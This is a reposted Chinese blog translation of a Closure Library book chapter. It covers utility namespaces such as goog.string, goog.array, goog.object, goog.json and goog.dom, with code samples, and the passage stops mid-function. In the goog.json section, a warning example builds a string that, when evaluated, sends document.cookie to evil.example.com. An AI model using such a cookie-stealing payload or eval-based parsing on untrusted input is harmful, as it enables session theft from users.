转载地址:http://blog.csdn.net/zj831007/article/details/6821611
Closure库包含很多常用工具类,对于一个新的框架,最大的问题是怎么根据你的需要找到相应功能的函数。本章将介绍库中大多数工具类,这将是对类库的一个很好的开始点,通过本章学习,你将能理解库的组织形式,也能告诉你怎么查找本章中未提到的函数。
Closure库中每个文件都声明了一个或多个命名空间。命名空间中可以有一些接口,也可能声明一些新类。本章将介绍常用的“函数命名空间”,接下来将介绍类的构造和原型继承。
和上一章分别介绍goog命名空间中的每个成员不一样,本章只会介绍类库中最常使用的一些函数。对其中一些细微差别也会介绍到。
对于没介绍的函数,源代码中的注释也能帮你理解使用它,JSDoc生成的html文档可在此查看: http://closure-library.googlecode.com/svn/docs/index.html.
下面是本章中要讨论的每个命名空间的简单介绍:
goog.string 包含字符串处理函数,特别的字符串转码
goog.array 包含对数组中元素进行修改的函数
goog.object 包含通过键-值对工作的javascript对象
goog.json 包含解析JSON的函数
goog.dom 包含操作DOM元素的函数
goog.dom.classes 包含操作CSS的函数
goog.userAgent 包含侦测用户代理的函数
goog.userAgent.product 包含侦测浏览器的函数
goog.net.cookies 包含处理浏览器cookie的函数
goog.style 包含读写html元素上的css样式的函数
goog.functions 包含不用function关键字构造函数的方法
在Closure库中查找命名空间的文件很容易。就你Java中包和目录结构的关系一样,Closure用命名空间和目录一一对应。例如,命名空间goog.userAgent.product声明在文件/closure/goog/useragent/product.js。有时候命名空间最右边部门既匹配文件也匹配目录,如goog.string命名空间声明在closure/goog/string/string.js 中,因为在string目录下还有其它工具类,如stringbuffer.js,stringformat.js,但是string中大多数功能都声明在string.js中。由于这个原因,可能能通过一些方法在文件中找到名字空间,在Mac和linux下可以用如下方法:
- $ find closure -name '*.js' | xargs grep -l "goog.provide('goog.string')"
- # The above command returns only the following result:
- closure/goog/string/string.js
goog.string
goog.string包含处理字符串的许多方法,Closure不会修改方法的原型,因此在程序中string方法声明在goog.string而不是String.prototype。例如:goog.string.startsWith()用来判断一个字符串是不是某个前缀。也对String的原型添加此方法:
- // THIS IS NOT RECOMMENDED
- String.prototype.startsWith = function(prefix) {
- return goog.string.startsWith(this, prefix);
- };
这样就可能将goog.string('foobar','foo')重写为'foobar'.startWith('foo'),这和Java有点像,但是,如果是顶层frame调用子frame中string操作时由于prototype不同,这会出再方法不存在的问题。也就是说顶层iframe中有startsWith方法,但是子frame中却没有。这对客户端代码来说这是个恶梦,因此应避免修改prototype来避免此问题。
goog.string.htmlEscape(str, opt_isLikelyToContainHtmlChars)
在javascript库中提供一个转义HTML的方法很必要的,因此Closure中实现它是很值得的。转义HTML可能避免一些安全问题,也会使你的站点更少受到破坏。并不是说应该将所有HTML都转义,虽然它能避免安全缺陷,但它却很难读。第一个参数是文本字符串,而不是HTML字符串,不幸的是,没有办法判断文本和HTML类型,在注解中都是用string类型来标注。如果当文本和HTML模糊不请时可在注解描述中加以说明 。
Closure中转义函数很有趣,当转换一个字符串时,它添加了一些限制正则表达式数量的逻辑。这对于性能要求很高有Javascript是值得的,
假设goog.string.htmlEscape()要被频繁地被调用,但这些参数根本不需要被转义,它会通过正则表态式来判断字符串中是否存在有需要转义的字符。如果不存在,将直接返回字符串,否则将用indexOf()来查找转义字符(&,<,>,"),一旦找到替换它们。当opt_isLikelyToContainHtmlChars设为true时,直接用第一个正则表达式,在这种情况前下,前面的四个字符会被无条件替换。
在goog.string.urlEncode()中也有类型的技巧,请阅读注释更详细地了解。
值得注意的是,双引号也会被goog.string.htmlEscape()转义,但单引号却不会,在其方法注释中有详细说明,那就是说它对属性为单引号的字符串不适当:
- ar html = '<span style=\'' + goog.string.htmlEscape(attr) + '\'>';
- // html is <span style='font-family: O'Reilly'> which could be parsed as
- // <span style='font-family: O'> by the browser
为避免这种错误,HTML属性最好都用双引号,对于文本字符串单引用能很好地工作,因此在它们中的双引号不需要被转义。
goog.string.regExpEscape(str)
当使用正则表达式来查找一个字符串时,可能会出现如下错误代码:
- var doSearch = function(query) {
- var matcher = new RegExp(query);
- var strings = ['example.org', 'gorge'];
- var matches = [];
- for (var i = 0; i < strings.length; i++) {
- if (matcher.test(strings[i])) {
- matches.push(strings[i]);
- }
- }
- return matches;
- };
- doSearch('.org'); // returns both 'example.org' and 'gorge'
这个问题可以用goog.string.regExpEscape()来解决,它会在特殊字符上加一反斜杠:
- query = goog.string.regExpEscape(query);
它将会用/\.org/创建RegExp对象:
- var doSearch = function(query, mustStartWith, mustEndWith) {
- query = goog.string.regExpEscape(query);
- if (mustStartWith) {
- query = '^' + query;
- }
- if (mustEndWith) {
- query = query + '$';
- }
- var matcher = new RegExp(query);
- var strings = ['example.org', 'example.org.uk'];
- var matches = [];
- for (var i = 0; i < strings.length; i++) {
- if (matcher.test(strings[i])) {
- matches.push(strings[i]);
- }
- }
- return matches;
- };
- doSearch('.org', false, true); // returns example.org but not example.org.uk
当以HTML样式显示文本时,多个空格会被当成一个对待,除了<pre>标签中的内容外,使用goog.string.whitespaceEscape(),两个空格将会用不间断空格替换,新行用<br>替换,如果oft_sml为true,会使用<br/>,这样会保留str的格式,如果有HTML元素混淆的话,应先用goog.string.escapeHtml().
goog.string.compareVersions(version1, version2)
数字类型不全是十进制,goog.string.compareVersions包含特殊逻辑比较不同数版本数字,第一种是:包含点数字和字母,如"1.9.2b1",第二种是和上学时的班级一样,3.2比3.12小,因为点只是一个分隔符,
和其它比较函数一样,当version1小于version2时返回-1,相等时返回0,大于时返回1,这可用来比较用户代理版本,例如:
- // goog.string.compareVersions takes numbers in addition to strings.
- goog.string.compareVersions(522, 523); // evaluates to -1
- // Here the extra zero is not significant.
- goog.string.compareVersions('3.0', '3.00'); // evaluates to 0
- // Because letters often indicate beta versions that are released before the
- // final release, 3.6b1 is considered "less than" 3.6.
- goog.string.compareVersions('3.6', '3.6b1'); // evaluates to 1
goog.string.hashCode(str)
此函数和java中的hashCode()一样,它的值由str内容计算,因此==比较相等的字符串有相同的哈希值。
在javascript中,string是不可变类型,因此其哈希值不会改变。但是它的值不会被缓存,每次调用时都会重新计算。因为goog.string.hashCode会有O(n)时间花费,频繁计算哈希值时会有很大的花费。
goog.array
像goog.string一样,goog.array声明了声明了一系列处理数组的方法而不是直接Array.prototype。更重要的是,goog.array并不的操作Array类型对象,而是goog.array.ArrayLike对象。goog.array.ArrayLike没有相应的原型用来添加方法,这样设计的目的是用一种通用的方法如indexOf()和filter()在类似数组对象NodeList和Arguments中。
注意的是,goog.array只允许Array类型参数而不是goog.array.ArrayLike。这是因为并不是所有ArrayLike类型都是可变的,因此sort(),extend(),binaryInsert()在数组操作上都会受限。但是这些方法能应用在ArrayLike对的拷贝上。
- // images is a NodeList, so it is ArrayLike.
- var images = document.getElementsByTagName('IMG');
- // goog.array.toArray() takes an ArrayLike and returns a new Array.
- var imagesArray = goog.array.toArray(images);
- // goog.array.sort() can be applied to imagesArray but not images.
- goog.array.sort(imagesArray, function(a, b) {
- return goog.string.caseInsensitiveCompare(a.src, b.src);
- });
goog.array.forEach(arr, func, opt_obj)
goog.array.forEach()将func应用在arr上的每个元素上,如果有opt_obj,则会作用在fun上。当func被调用时,它会接收三个参数:元素,元素索引,和数组本身。其它语言迭代数组对象有很多高雅的方法,用来替换用goog.array.forEach()对数组的循环。但是一些性能方面的问题也需要注意。比较下面两种方法的代码:
- // Traditional for loop.
- var total = 0;
- for (var i = 0; i < positions.length; i++) {
- var position = positions[i];
- total += position.getPrice() * position.getNumberOfShares();
- log('Added item ' + (i + 1) + ' of ' + positions.length);
- }
- // goog.array.forEach().
- var total = 0;
- goog.array.forEach(positions, function(position, index, arr) {
- total += position.getPrice() * position.getNumberOfShares();
- log('Added item ' + (index + 1) + ' of ' + arr.length);
- });
在goo.array.forEach()中,创建额外的对象会花费O(n)时间。因此goog.array.forEach()的时间花销在于循环的大小和在匿名方法中使用的非本地变量的数目。在两层会话链中声明的对象在写时会比在一层中要慢1.5-2倍,firefox3.5,ie8和safari 3.2中测试过,但幸运的是opera9.64, chrome 2和safari4在不同深度域中性能都差不多。
因此,在老版本中写javascript代码时应注意这些时间花销。也应该注意作用的迭代goog.array元素的函数,如every(), filter(), find(), findIndex(), findIndexRight(), findRight(), forEach(), forEachRight(), map(), reduce(),reduceRight(), removeIf(), and some().
在一个方法中使用goog.array迭代函数
虽然第五章才会介绍方法,但是很必要指出在用for循环代替goog.array.forEach()的一些通用错误。考虑下面在方法引用this的传统for循环:
- Portfolio.prototype.getValue = function() {
- var total = 0;
- for (var i = 0; i < positions.length; i++) {
- total += this.getValueForPosition(position);
- }
- return total;
- };
假设按如下重写,this将在调用时引用全局对象,这将会产生一个错误,因为全局中没有getValueForPosition()声明:
- Portfolio.prototype.getValue = function() {
- var total = 0;
- goog.array.forEach(positions, function(position) {
- total += this.getValueForPosition(position);
- });
- return total;
- };
幸运的是,使用opt_obj参数能很简单地解决这个问题:
- Portfolio.prototype.getValue = function() {
- var total = 0;
- goog.array.forEach(positions, function(position) {
- total += this.getValueForPosition(position);
- }, this);
- return total;
- };
goog.object
goog.object有用来处理javascript对象的一系列方法。和goog.array一样,它有用来迭代对象元素的很多方法,并在迭代过程中对元素应用特定方法,如every(), filter(), forEach(), map(), some()。本节将讲解goog.array中没有有一些函数。
goog.object.get(obj, key, opt_value)
goog.object.get()返回obj中key对应的值,在key不存在时返回opt_value,默认值为undefined。
- // A map of first to last names (if available).
- var names = { 'Elton': 'John', 'Madonna': undefined };
- // Evaluates to 'John' because that is what 'Elton' maps to in names.
- goog.object.get(names, 'Elton', 'Dwight');
- // Evaluates to undefined because that is what 'Madonna' maps to in names.
- goog.object.get(names, 'Madonna', 'Ciccone');
- // Evaluates to the optional value 'Bullock' because 'Anna' is not a key
- // in names.
- goog.object.get(names, 'Anna', 'Bullock');
- // Evaluates to the built-in toString function because every object has a
- // property named toString.
- goog.object.get(names, 'toString', 'Who?');
goog.setIfUndefined(obj, key, value)
goog.setIfUndefined()用来创建一个对象属性,只有当其不存在时使用,如果已经有一个属性值为undefined也会有奇怪的结果:
- var chessboard = { 'a1': 'white_knight', 'a2': 'white_pawn', 'a3': undefined };
- // Try to move the pawn from a2 to a3.
- goog.object.setIfUndefined(chessboard, 'a3', 'white_pawn');
- if (chessboard['a3'] != 'white_pawn') {
- throw Error('Did not move pawn to a3');
- }
- // Do not add a key for 'a3' because it does not have a piece on it.
- var chessboard = { 'a1': 'white_knight', 'a2': 'white_pawn' };
- // Now this will set 'a3' to 'white_pawn'.
- goog.object.setIfUndefined(chessboard, 'a3', 'white_pawn');
- // This will free up 'a2' so other pieces can move there.
- delete chessboard['a2'];
goog.object.transpose(obj)
goog.object.transpose()返回一个将对象键值转换的新的对象。当值为单一字符串时,这最简单:
- var englishToSpanish = { 'door': 'puerta', 'house': 'casa', 'car': 'coche' };
- var spanishToEnglish = goog.object.transpose(englishToSpanish);
- // spanishToEnglish is { 'puerta': 'door', 'case': 'house', 'coche': 'car' }
如果obj有重复的值,转换后的结果会根据环境而改变。大多数浏览器根据声明顺序迭代对象,而goog.object.transpose也依赖迭代的顺序,因此大多数浏览器会产生如下结果:
- var englishToSpanish1 = { 'door': 'puerta', 'goal': 'puerta' };
- var spanishToEnglish1 = goog.object.transpose(englishToSpanish1);
- // spanishToEnglish1 is { 'puerta': 'goal' }
- var englishToSpanish2 = { 'goal': 'puerta', 'door': 'puerta' };
- var spanishToEnglish2 = goog.object.transpose(englishToSpanish2);
- // spanishToEnglish2 is { 'puerta': 'door' }
上面例子中,结果中都是最后一个值保留下来,因为后面的键会覆盖前面相同的键。
当对象中都是一对一的键值时,goog.object.transpose的行为是很直接的;但是,当obj中有重复的值或值为非字符串类型时,将产生并不是你期望的结果,例如:
- var hodgePodge = {
- 'obj_literal': { toString: function() { return 'Infinity' } },
- 'crazy': true,
- 'now': new Date(),
- 'error': 1 / 0,
- 'modulus': 16 % 2 == 0,
- 'unset': null
- };
- var result = goog.object.transpose(hodgePodge);
- // result will look something like:
- // { 'Infinity': 'error',
- // 'true': 'modulus',
- // 'Tue Dec 08 2009 09:46:19 GMT-0500 (EST)': 'now',
- // 'null': 'unset'
- // };
对于Javascript中的对象,它是一个字典类型,键必须为string类型,但是值可以为任何类型。在hodgePodge中,每上个值都通过String()方法强制转换成字符串。像 { toString; function() { return 'Infinity'; } } 和 new Date(),都会在其结果上调用toString(),用来做为goog.object.transpose转换后的键。当String()应用在基本类型,如true, null和Infinity时,结果分别为:"true", "null", "Infinity"。在上面例子的hodgePodge中,原来的键:“obj_literal”和"error"都映射到"Infinity"上,同样,"crazy"和"modulus"都映射到"true"。因此,即使hodegPodeg中有6个属性,最后也只有4个与之对应。
goog.json
goog.json包含一些解析和编码JSON的基本工具。现在Closure的API还没有ECMAScript第5版(ES5)中关于JSON对象描述那样复杂,现在浏览器都在着手实现ES5,Closure也在计划扩展它的API.
goog.json.parse(str)
和它的名字一样,goog.json.parse()用来解析JSON字符串,现在,在用goog.json.parse()解析时会运行一个复杂的正则表达式,和它的文档中提到的一样,在运行大字符串时这会很慢。它用来加强JSON.parse()的行为,因为JSON.parse()在会拒绝解析不规范的JSON串。
大多数浏览器使用 JSON来格式化和序列化数据,因为它能在浏览器中用eval()解析更快。假设服务器端能保证发给客户端是正确格式的JSON串,客户端就不会花费时间用在正则表达式上。为了更好的性能,最好保证正确的JSON格式并用unsafeParse()不执行正则表达式检查。
到现在为止,不像实现了ES5规范的JSON.parse()方法,goog.json.parse()还不支持reviver参数。
goog.json.unsafeParse(str)
goog.ison.unsafeParse()仅仅用eval()来解析JSON串:
- goog.json.unsafeParse = function(str) {
- return eval('(' + str + ')');
- };
- var str = 'new function() {' +
- 'document.body.innerHTML = ' +
- '\'<img src="http://evil.example.com/stealcookie?cookie=\' + ' +
- 'encodeURIComponent(document.cookie) + ' +
- '\'">\';' +
- '}';
- // This would send the user's cookie to evil.example.com.
- goog.json.unsafeParse(str);
- // By comparison, this would throw an error without sending the cookie.
- goog.json.parse(str);
由于这些安全问题,在使用 goog.json.unsafeParse时请确保传入字符串为可用的JSON串。
goog.json.serialize(obj)
goog.json.serialize()返回一个对象的JSON字符串。和这JSON.stringify有点相似,只是不会调用对象的toJSON方法,看下面例子:
- ar athlete = {
- 'first_name': 'Michael',
- 'cereal': 'Wheaties',
- 'toJSON': function() { return 'MJ' }
- };
- // Evaluates to: '{"first_name":"Michael","cereal":"Wheaties"}'
- // toJSON, like all other properties whose values are functions, is ignored.
- goog.json.serialize(athlete);
- // Evaluates to: 'MJ'
- // Because athlete has a toJSON method, JSON.stringify calls it and uses its
- // result instead of serializing the properties of athlete.
- JSON.stringify(athlete);
到目前为止,不像JSON.stringify()符合ES5规范,goog.json.serialize()不支持replacer或space参数。
goog.dom
goog.dom是一系列处理DOM节点的工具。在goog.dom命名空间中的许多方法都需要工作在Document上下文下,因此需要时会使用window.document。大多数web应用程序都在和DOM操作相同的frame中运行,因此window.document默认就提供给应用程序。当使用多个frame时,应该使用goog.dom.DomHelper,goog.dom.DomHelper的API和goog.dom差不多,但是它的 Document是用户传入的而不是使用window.document。在goog.dom.DomHelper中明确提供上下文。它的重要性将在第8章中详细介绍。
goog.dom.getElement(idOrElement)
通过ID取得元素在DOM操作中是很常用的操作,不存在的是只能通过如下方法满足需求:
- // Native browser call.
- var el = document.getElementById('header');
- // Aliases for document.getElementById() in popular JavaScript libraries:
- var el = goog.dom.getElement('header'); // Closure
- var el = goog.dom.$('header'); // alias for goog.dom.getElement()
- var el = dojo.byId('header'); // Dojo
- var el = $('header'); // Prototype, MooTools, and jQuery
和其它一样,Closure不是在代码中提供简短名,而是在编译后提供。就像前面列出的其它库,Closure的goog.dom.getElement函数接受string类型id或一个Element对象。如果传ID,它会通过ID查找元素并返回,如果是对象则直接返回。
goog.dom.getElement()和goog.dom.$()引用相同的函数。由于Closure最终会被编译,因此不用考虑方法名的长度。但是goog.dom.$()已被标记为过期,因此在编译时会有警告。
goog.dom.getElementsByTagNameAndClass(nodeName, className,elementToLookIn)
通常给元素添加一个CSS类,goog.dom.getElementsByTagNameAndClass可以使用它。当这个类的没有样式信息时,它通常用来作为标识类。尽管id是用来标识一个元素用的,多个ID是独立的,因此不能用相同id标识多个元素。因此可用CSS样式来标识类。
goog.dom.getElementsByTagNameAndClass() 中的每个参数都是可选的。当没有参数时,DOM中的所有元素会被返回。如果只提供第一个参数,它就和document.getElementsByTagName()方法相似。nodeName是不区分大小写的。
- // To select all elements, supply no arguments or use '*' as the first argument.
- var allElements = goog.dom.getElementsByTagNameAndClass('*');
- // allDivElements is an Array-like object that contains every DIV in the document.
- var allDivElements = goog.dom.getElementsByTagNameAndClass('div');
- // The previous statement is equivalent to:
- var allDivElements = goog.dom.getElementsByTagNameAndClass('DIV');
- // All elements with the 'keyword' class.
- var keywords = goog.dom.getElementsByTagNameAndClass(undefined, 'keyword');
- // All SPAN elements with the 'keyword' class.
- var keywordSpans = goog.dom.getElementsByTagNameAndClass('span', 'keyword');
- // This is an empty NodeList. Because CSS class names cannot contain spaces, it is
- // not possible for there to be any elements with the class 'footer copyright'.
- var none = goog.dom.getElementsByTagNameAndClass('span', 'footer copyright');
- // If the HTML for the DOM were as follows:
- // <html>
- // <head></head>
- // <body>
- // <p id="abstract">
- // A specification by <a href="http://example.com/">example.com</a>.
- // </p>
- // <p id="status">
- // No progress made as example.com is not a real commercial entity.
- // See <a href="http://www.rfc-editor.org/rfc/rfc2606.txt">RFC 2606</a>.
- // </p>
- // </body>
- // </html>
- // Evaluates to a list with the two anchor elements.
- goog.dom.getElementsByTagNameAndClass('a', undefined);
- // Evaluates to a list with only the anchor element pointing to example.com.
- // Only the child nodes of the first paragraph tag are traversed.
- goog.dom.getElementsByTagNameAndClass('a', undefined,
- goog.dom.getElement('abstract'));
W3C有通过CSS选择器返回元素结点的草案,它允许复杂的查询,如: "#score>tbody>tr>td:nth-of-type(2)",虽然这些草案滑完成,便一些浏览器已经超前完成了querySelector()和querySelectorAll()方法。由于这些方法会提升速度,因此Closure会在 goog.dom.getElementsByTagNameAndClass()使用它们。对于没有实现这些方法的浏览器,Closure会用goog.dom.query()实现它们,它的实现来自于DOJO,有超过1500行的代码。由于它太大,因此被从goog.dom中独立出来,使用时需要用goog.require('goog.dom.query')来引用 它,使用它会访问很多DOM对象,通常会降低性能。
和goog.dom.$()是goog.dom.getElement别名一样,goog.dom.$$()是goog.dom.getElementByTagNameAndClass()的别名,并同样,它也被标记为过期。
goog.dom.getAncestorByTagNameAndClass(element, tag, className)
鉴于goog.dom.getElementsByTagName()查找元素后代,goog.dom.getAncestorByTagNameAndClass()查找元素祖先。这对确定元素所属是很有用,在两个重复的DOM结构上处理鼠标事件是个常见的问题,例如,下面元素由 <div>, <span>, <img>组成:
- <style>.favicon { width: 16px; height: 16px }</style>
- <div id="root">
- <div id="row-amazon" class="row">
- <img src="http://www.amazon.com/favicon.ico" class="favicon">
- <span>Amazon</span>
- </div>
- <div id="row-apple" class="row">
- <img src="http://www.apple.com/favicon.ico" class="favicon">
- <span>Apple</span>
- </div>
- <div id="row-google" class="row">
- <img src="http://www.google.com/favicon.ico" class="favicon">
- <span>Google</span>
- </div>
- <div id="row-yahoo" class="row">
- <img src="http://www.yahoo.com/favicon.ico" class="favicon">
- <span>Yahoo!</span>
- </div>
- </div>
- goog.provide('example');
- goog.require('goog.dom');
- /** @type {?Element} */
- var highlightedRow = null;
- example.click = function(e) {
- var el = /** @type {!Element} */ (e.target);
- var rowEl = goog.dom.getAncestorByTagNameAndClass(
- el, undefined /* opt_tag */, 'row');
- var name = rowEl.id.substring('row-'.length);
- alert('clicked on: ' + name);
- };
- example.mouseover = function(e) {
- var el = /** @type {!Element} */ (e.target);
- var rowEl = goog.dom.getAncestorByTagNameAndClass(
- el, undefined /* opt_tag */, 'row');
- if (rowEl === highlightedRow) {
- return;
- }
- example.clearHighlight();
- highlightedRow = rowEl;
- highlightedRow.style.backgroundColor = 'gray';
- };
- example.clearHighlight = function() {
- if (highlightedRow) {
- highlightedRow.style.backgroundColor = 'white';
- }
- highlightedRow = null;
- };
- example.main = function() {
- var root = goog.dom.getElement('root');
- // Most modern browsers support addEventListener(), though versions of
- // Internet Explorer prior to version 9 do not. A superior mechanism for
- // registering event listeners is introduced in Chapter 6.
- root.addEventListener('click',
- example.click,
- false /* capture */);
- root.addEventListener('mouseover',
- example.mouseover,
- false /* capture */);
- root.addEventListener('mouseout',
- example.clearHighlight,
- false /* capture */);
- };
goog.dom.createDom(nodeName, attributes, var_args)
goog.dom.createDom通过节点名,属性和子节点创建新的元素。通过Closure模板生成HTML并innerHTML到存在的元素中是构建DOM树的最常用的方式,但对于没有使用模板的项目这是另一个最好的选择,当构建比较小的DOM树时,性能问题是可以复略的。
nodeName声明元素创建的类型:
- // Creates a <span> element with no children
- var span = goog.dom.createDom('span');
第二个参数attributes是可选的,如果为一对象 ,对象中的每一个属性都会作为键值对添加到新元素上。如果为string的话,将被添加为CSS类:
- // Example of creating a new element with multiple attributes.
- // This creates an element equivalent to the following HTML:
- // <span id="section-1" class="section-heading first-heading"></span>
- var span = goog.dom.createDom('span', {
- 'id': 'section-1'
- 'class': 'section-heading first-heading',
- });
- // Example of creating a new element with only the CSS class specified.
- // Creates an element equivalent to the following HTML:
- // <span class="section-heading first-heading"></span>
- var span = goog.dom.createDom('span', 'section-heading first-heading');
尽管上面例子用"class"来作为attributes对象的键,改成"className"也能正确工作。key可以为"cssText", "className", "htmlFor"等,可以从goog.dom.setProperties具体中了解更详细信息。
最后一个参数代码新创建元素的子元素。每个子参数必须为只包含节点和串的 节点,字符串,NodeList或array。这些子结点会被顺序添加到元素中,因为方法返回一个Node类型元素,因此可用来构建大的DOM树:
- // Example of specifying child nodes with goog.dom.createDom.
- // This creates an element equivalent to the following HTML:
- // <div class="header"><img class="logo" src="logo.png"><h2>Welcome</h2></div>
- goog.dom.createDom('div', 'header',
- goog.dom.createDom('img', {'class': 'logo', 'src': 'logo.png'}),
- goog.dom.createDom('h2', undefined, 'Welcome'));
- // Example of using a NodeList to specify child nodes.
- // This will find all IMG elements in the page and reparent them under
- // the newly created DIV element.
- goog.dom.createDom('div', undefined, goog.dom.getElementsByTagNameAndClass('img'));
goog.dom.createDom能够通过goog.dom.appendChile(parent, child)添加到DOm树中。Closure中的appendChild方法和DOM元素中的appendChild方法没有不同,但是Closure中的方法能被编译器重命名,同样,goog.dom.createElement和goog.dom.createTextNode也是document中相应方法的包装,也是为了编译器重命名设计的。
注意的是字符串方式作为字结点被当成文本,也就是将会被 进行HTML转义:
- // Example of text that is escaped so it is not interpreted as HTML.
- // This call creates an element equivalent to the following HTML:
- // <span>Will this be <b>bold</b>?</span>
- // NOT this HTML:
- // <span>Will this be <b>bold</b>?</span>
- goog.dom.createDom('span', undefined, 'Will this be <b>bold</b>?');
goog.dom.htmlToDocumentFragment(htmlString)
按照规范,DocumentFragment是没有父接点的最小document对象,它将用来作为一系列的兄弟节点。下面4个节点有3个兄弟节点:
- Only <b>you</b> can prevent forest fires.
2,元素 “B"
3,文本节点"you",它是B的子节点
4,文本节点"can prevent forest fires."
虽然上面中的HTML不能当成单一的节点,它能用DocumentFragment 代表,DocumentFragment 能如下创建:
- var smokeyTheBearSays = goog.dom.htmlToDocumentFragment(
- 'Only <b>you</b> can prevent forest fires.');
- // This creates an element equivalent to the following HTML:
- // <i>Only <b>you</b> can prevent forest fires.</i>
- var italicEl = goog.dom.createDom('i', undefined, smokeyTheBearSays);
goog.dom.ASSUME_QUIRKS_MODE 和goog.dom.ASSUME_STANDARDS_MODE
页面有使用两种模式渲染:standards模式和quirks模式。standards模式用W3C标准,下面是标准模式下两种最常用的页面doctypes:
- <!DOCTYPE HTML PUBLIC
- "-//W3C//DTD HTML 4.01//EN"
- "http://www.w3.org/TR/html4/strict.dtd">
- <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
- "http://www.w3.org/TR/html4/loose.dtd">
- <!DOCTYPE HTML>
默认情况下两个参数都为false,由Closure在运行时选择渲染模式。由于库不能确保在应用程序生命周期中只有一个Document对象,许多在goog.dom中的方法每次都会检查Document的模式,而不是检查一次后缓存起来。如果多个Document中使用不同的渲染模式,不管goog.dom.ASSUME_QUIRKS_MODE还是goog.dom.ASSUME_STANDARDS_MODE都可以在运行时设置。
goog.dom.classes
goog.dom.classes是用来维护元素 CSS类的工具集。由于元素className有时是由空格分开的,因此会先将其分开取得元素后再组合到一起。访问DOM属性常常会比访问Javascript对象会有更大开销,因此在Closure中会尽量少用DOM访问。
更重要的是,并不是所有元素都有string 类型的className属性。在IE的IFRAME中没有className 属性,在Firefox中,SVG元素的className属性返回一个函数而不是字符串,goog.dom.class会隐藏这些浏览器不同。
goog.dom.classes也可从HTML5中的classList属性取得,当其可用时,goog.dom.classes就像是classList的高级重新实现,但些函数的抽象会保持不变。
goog.dom.classes.get(element)
goog.dom.classes.get()返回元素的类名,如果元素没有任何类名,将返回空数组。和goog.dom.classes讨论的一样,它也隐藏了各种浏览不不同。另一些基于它的操作CSS类的工具也因此获益。
- // element is <span class="snap crackle pop"></span>
- // evaluates to ['snap', 'crackle', 'pop']
- goog.dom.classes.get(element);
在HTML5中,classList和goog.dom.classes.get不相等,但它没必要相等,因为classList本身是一个Array-like对象。它是不可变的,有一个length属性和数字索引。
goog.dom.classes.has(element, className)
当元素存在一个类名时返回true,否则返回false。
- // element is <span class="snap crackle pop"></span>
- // evaluates to true
- goog.dom.classes.has(element, 'snap');
- // evaluates to false
- goog.dom.classes.has(element, 'pow');
- // evaluates to false because 'crackle pop' fails to identify a single class name
- goog.dom.classes.has(element, 'crackle pop');
在HTML5中,classList中与此相同的函数是contains,在HTML5草案中,如果className包含空格,浏览器应该抛出一个异常,但在Closure中,goog.dom.class.has只是返回false。
goog.dom.classes.add(element, var_args) 和goog.dom.classes.remove(element, var_args)
goog.dom.classes.add(element, var_args) 和goog.dom.classes.remove(element, var_args)用一个或几个类名为参数,添加或删除它们。已经存在的名字不能被再次添加,如果 删除不存在的类名不会抛出错误。
- // element is <span class="snap crackle pop"></span>
- // After evaluation, element's className will still be 'snap crackle pop'
- goog.dom.classes.remove(element, 'pow');
- // After evalulation, element's className will be 'crackle'
- goog.dom.classes.remove(element, 'snap', 'pop', 'pow');
- // After evaluation, element's className will be 'crackle pop snap'
- goog.dom.classes.add(element, 'pop', 'snap');
它们能接受任意数目的参数,但classList只支持单一类名,如果classList.add或classList.remove参数包含空格,它将抛出错误。在Closure中,错误的参数会被忽略。最后,在类名添加和删除成功时Closure返回true,失败时false,但classList方法没有任何返回值。
goog.dom.classes.toggle(element, className)
它用来在元素存在类名是删除,不存在时添加,是下面代码的快捷键:
- return (goog.dom.classes.has(element, className)) ?
- !goog.dom.classes.remove(element, className) :
- goog.dom.classes.add(element, className);
但是goog.dom.classes.toggle实现对访问元素className属性更高效。
在HTML5中的classList 也支持toggle。它的功能和goog.dom.classes.toggle一样,只是如果className包含空格时会抛出错误。
goog.dom.classes.swap(element, fromClass, toClass)
goog.dom.class.swap将fromClass替换为toClass,如果元素没有fromClass,则元素不会被修改。下面的例子中,如果toClass已经存在,它将会出现两次:
- // element is <span class="snap crackle pop"></span>
- // After evaluation, element's className will still be 'snap crackle pop'
- goog.dom.classes.swap(element, 'pow', 'snap');
- // After evaluation, element's className will be 'crackle pop pow'
- goog.dom.classes.swap(element, 'snap', 'pow');
- // After evaluation, element's className will be 'crackle pop pop'
- goog.dom.classes.swap(element, 'pow', 'pop');
- // After evaluation, element's className will be 'crackle snap'
- // Note that both instances of 'pop' are replaced with a single instance of 'snap'.
- goog.dom.classes.swap(element, 'pop', 'snap');
如例子所示,交换不是可逆的。那就是说,它不是找到其中一个类名并替换它,只要找到fromClass他就会替换,下面函数可以用来将一个class转成另一个:
- /**
- * element must have exactly one of aClass or bClass, or the behavior is
- * unspecified.
- * @param {!Element} element
- * @param {string} aClass
- * @param {string} bClass
- */
- var swapOneForOther = function(element, aClass, bClass) {
- goog.dom.classes.toggle(element, aClass);
- goog.dom.classes.toggle(element, bClass);
- };
goog.dom.classes.enable(element, className, enabled)
goog.dom.classes.enable通过设置boolean型的enabled设置className,这是如方法的快捷实现:
- if (enabled) {
- goog.dom.classes.add(element, className);
- } else {
- goog.dom.classes.remove(element, className);
- }
goog.userAgent
goog.userAgent提供运行javascript用户代理环境的boolean常量 。这些常量用来判断浏览器和操作系统。如果用户环境不表明值为true,这些值默认都为false。对于缺少用户代码的环境,这些常量都将返回默认值。
这个参数能在编译时去除不用的代码,应用程序要求对支持的每种浏览器编译特定代码 。对于Iphone和Android设备很简单:--define goog.userAgent.ASSUME_MOBILE_WEBKIT=true
在Closure中的很多代码都是基于渲染引挚而不是操作系统。因此代码中应改基于渲染引挚。
渲染引挚常量
下面列出了goog.userAgent用来在运行环境决定用户代理的常量,每一个值都可以在编译时设为true:
用户代理值 | 编译时常量 | 描述 |
IE | ASSUME_IE | IE内核返回true |
GECKO | ASSUME_GECKO | Gecko内核返回true |
WEBKIT | ASSUME_WEBKIT | Webkit内核返回true,包括Safari和Ghrome |
OPERA | ASSUME_OPERA | Opera浏览器返回true,包括 Nintendo Wii |
MOBILE | ASSUME_MOBILE_WEBKIT | 基于WebKit的移动设备返回true |
goog.style.setOpacity()可以像如下设置一个元素的opacity属性,并处理不同浏览器的区别:
- /**
- * Sets the opacity of a node (x-browser).
- * @param {Element} el Elements whose opacity has to be set.
- * @param {number|string} alpha Opacity between 0 and 1 or an empty string
- * {@code ''} to clear the opacity.
- */
- goog.style.setOpacity = function(el, alpha) {
- var style = el.style;
- if ('opacity' in style) {
- style.opacity = alpha;
- } else if ('MozOpacity' in style) {
- style.MozOpacity = alpha;
- } else if ('filter' in style) {
